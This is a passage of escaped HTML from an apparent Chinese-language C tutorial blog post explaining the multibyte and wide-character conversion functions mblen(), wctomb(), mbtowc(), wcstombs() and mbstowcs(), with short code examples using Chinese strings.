title=\"mblen()\"\u003e\u003c/a\u003emblen()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003emblen()\u003c/code\u003e函数返回一个多字节字符占用的字符数。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emblen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbstr, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是多字节字符串指针,一般会检查该字符串的第一个字符;第二个参数是需要检查的字节数,这个数字不能大于当前系统单个字符占用的最大字节,一般使用\u003ccode\u003eMB_CUR_MAX\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e它的返回值是该字符占用的字节数。如果当前字符是空的宽字符,则返回\u003ccode\u003e0\u003c/code\u003e;如果当前字符不是有效的多字节字符,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbs1 = \u003cspan class=\"string\"\u003e\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, mblen(mbs1, MB_CUR_MAX)); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbs2 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, mblen(mbs2, MB_CUR_MAX)); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串“春天”的第一个字符“春”,占用3个字节;字符串“abc”的第一个字符“a”,占用1个字节。\u003c/p\u003e\u003ch4 id=\"wctomb\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wctomb\" class=\"headerlink\" title=\"wctomb()\"\u003e\u003c/a\u003ewctomb()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003ewctomb()\u003c/code\u003e函数(wide character to multibyte)用于将宽字符转为多字节字符。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewctomb\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s, \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wc)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ewctomb()\u003c/code\u003e接受两个参数,第一个参数是作为目标的多字节字符数组,第二个参数是需要转换的一个宽字符。它的返回值是多字节字符存储占用的字节数量,如果无法转换,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wc = \u003cspan class=\"string\"\u003eL\u0026#39;牛\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e mbStr[\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = wctomb(mbStr, wc);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, mbStr); \u003cspan class=\"comment\"\u003e// 牛\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ewctomb()\u003c/code\u003e将宽字符“牛”转为多字节字符,\u003ccode\u003ewctomb()\u003c/code\u003e的返回值表示转换后的多字节字符占用3个字节。\u003c/p\u003e\u003ch4 id=\"mbtowc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mbtowc\" class=\"headerlink\" title=\"mbtowc()\"\u003e\u003c/a\u003embtowc()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003embtowc()\u003c/code\u003e用于将多字节字符转为宽字符。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003embtowc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wchar,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbchar,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e count\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受3个参数,第一个参数是作为目标的宽字符指针,第二个参数是待转换的多字节字符指针,第三个参数是多字节字符的字节数。\u003c/p\u003e\u003cp\u003e它的返回值是多字节字符的字节数,如果转换失败,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbchar = \u003cspan class=\"string\"\u003e\u0026#34;牛\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* pwc = \u0026amp;wc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = mbtowc(pwc, mbchar, \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lc\\n\u0026#34;\u003c/span\u003e, *pwc); \u003cspan class=\"comment\"\u003e// 牛\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003embtowc()\u003c/code\u003e将多字节字符“牛”转为宽字符\u003ccode\u003ewc\u003c/code\u003e,返回值是\u003ccode\u003embchar\u003c/code\u003e占用的字节数(占用3个字节)。\u003c/p\u003e\u003ch4 id=\"wcstombs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wcstombs\" class=\"headerlink\" title=\"wcstombs()\"\u003e\u003c/a\u003ewcstombs()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003ewcstombs()\u003c/code\u003e用来将宽字符串转换为多字节字符串。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewcstombs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wcstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e count\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,第一个参数\u003ccode\u003embstr\u003c/code\u003e是目标的多字节字符串指针,第二个参数\u003ccode\u003ewcstr\u003c/code\u003e是待转换的宽字符串指针,第三个参数\u003ccode\u003ecount\u003c/code\u003e是用来存储多字节字符串的最大字节数。\u003c/p\u003e\u003cp\u003e如果转换成功,它的返回值是成功转换后的多字节字符串的字节数,不包括尾部的字符串终止符;如果转换失败,则返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e mbs[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wcs = \u003cspan class=\"string\"\u003eL\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = wcstombs(mbs, wcs, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, mbs); \u003cspan class=\"comment\"\u003e// 春天\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ewcstombs()\u003c/code\u003e将宽字符串\u003ccode\u003ewcs\u003c/code\u003e转为多字节字符串\u003ccode\u003embs\u003c/code\u003e,返回值\u003ccode\u003e6\u003c/code\u003e表示写入\u003ccode\u003embs\u003c/code\u003e的字符串占用6个字节,不包括尾部的字符串终止符。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003ewcstombs()\u003c/code\u003e的第一个参数是 NULL,则返回转换成功所需要的目标字符串的字节数。\u003c/p\u003e\u003ch4 id=\"mbstowcs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mbstowcs\" class=\"headerlink\" title=\"mbstowcs()\"\u003e\u003c/a\u003embstowcs()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003embstowcs()\u003c/code\u003e用来将多字节字符串转换为宽字符串。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003embstowcs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* wcstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbstr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e count\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,第一个参数\u003ccode\u003ewcstr\u003c/code\u003e是目标宽字符串,第二个参数\u003ccode\u003embstr\u003c/code\u003e是待转换的多字节字符串,第三个参数是待转换的多字节字符串的最大字符数。\u003c/p\u003e\u003cp\u003e转换成功时,它的返回值是成功转换的多字节字符的数量;转换失败时,返回\u003ccode\u003e-1\u003c/code\u003e。如果返回值与第三个参数相同,那么转换后的宽字符串不是以 NULL 结尾的。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* mbs = \u003cspan class=\"string\"\u003e\u0026#34;天气不错\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e wcs[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e nBytes = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enBytes = mbstowcs(wcs, mbs, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ls\\n\u0026#34;\u003c/span\u003e, wcs); \u003cspan class=\"comment\"\u003e// 天气不错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,多字节字符串\u003ccode\u003embs\u003c/code\u003e被\u003ccode\u003embstowcs()\u003c/code\u003e转为宽字符串,成功转换了4个字符,所以该函数的返回值为4。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003embstowcs()\u003c/code\u003e的第一个参数为\u003ccode\u003eNULL\u003c/code\u003e,则返回目标宽字符串会包含的字符数量。\u003c/p\u003e\u003ch2 id=\"assert-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#assert-h\" class=\"headerlink\" title=\"assert.h\"\u003e\u003c/a\u003eassert.h\u003c/h2\u003e\u003ch3 id=\"assert\"\u003e\u003ca 